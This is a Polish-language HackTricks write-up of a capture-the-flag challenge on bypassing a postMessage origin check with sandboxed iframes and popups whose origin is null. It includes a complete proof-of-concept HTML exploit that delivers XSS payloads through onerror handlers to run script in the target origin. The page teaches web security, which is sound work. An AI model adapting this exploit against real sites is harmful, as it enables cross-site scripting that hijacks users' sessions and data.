Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

Bypassing SOP with Iframes - 1

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Ramki w SOP-1

W tym wyzwaniu stworzonym przez NDevTK i Terjanq musisz wykorzystać XSS w zakodowanym kodzie.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Główny problem polega na tym, że główna strona używa DomPurify do wysyłania data.body, więc aby wysłać własne dane html do tego kodu, musisz obejść e.origin !== window.origin.

Zobaczmy, jakie rozwiązanie proponują.

Ominięcie SOP 1 (e.origin === null)

Gdy //example.org jest osadzone w ramce z ograniczeniami (sandboxed iframe), to pochodzenie strony będzie null, czyli window.origin === null. Dlatego, poprzez osadzenie ramki za pomocą <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> możemy wymusić null pochodzenie.

Jeśli strona była osadzalna, można było ominąć tę ochronę w ten sposób (może być również konieczne ustawienie ciasteczek na SameSite=None).

Ominięcie SOP 2 (window.origin === null)

Mniej znany fakt jest taki, że gdy ustawiona jest wartość sandbox allow-popups, to otwarte wyskakujące okno odziedziczy wszystkie atrybuty związane z sandboxem, chyba że ustawiono allow-popups-to-escape-sandbox. Dlatego, otwierając wyskakujące okno z pochodzeniem null, window.origin wewnątrz wyskakującego okna również będzie null.

Rozwiązanie wyzwania

Dlatego, dla tego wyzwania, można utworzyć ramkę, otworzyć wyskakujące okno do strony obsługującej podatny kod XSS (/iframe.php), ponieważ window.origin === e.origin, ponieważ oba są null, możliwe jest wysłanie payloadu, który wykorzysta XSS.

Ten payload pobierze identyfikator i wyśle XSS z powrotem do górnej strony (strony, która otworzyła wyskakujące okno), która zmieni lokalizację na podatną /iframe.php. Ponieważ identyfikator jest znany, nie ma znaczenia, że warunek window.origin === e.origin nie jest spełniony (pamiętaj, że pochodzenie to wyskakujące okno z ramki, które ma pochodzenie null), ponieważ data.identifier === identifier. Następnie, XSS zostanie ponownie uruchomiony, tym razem w poprawnym pochodzeniu.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
PreviousBlocking main page to steal postmessageNextBypassing SOP with Iframes - 2

Last updated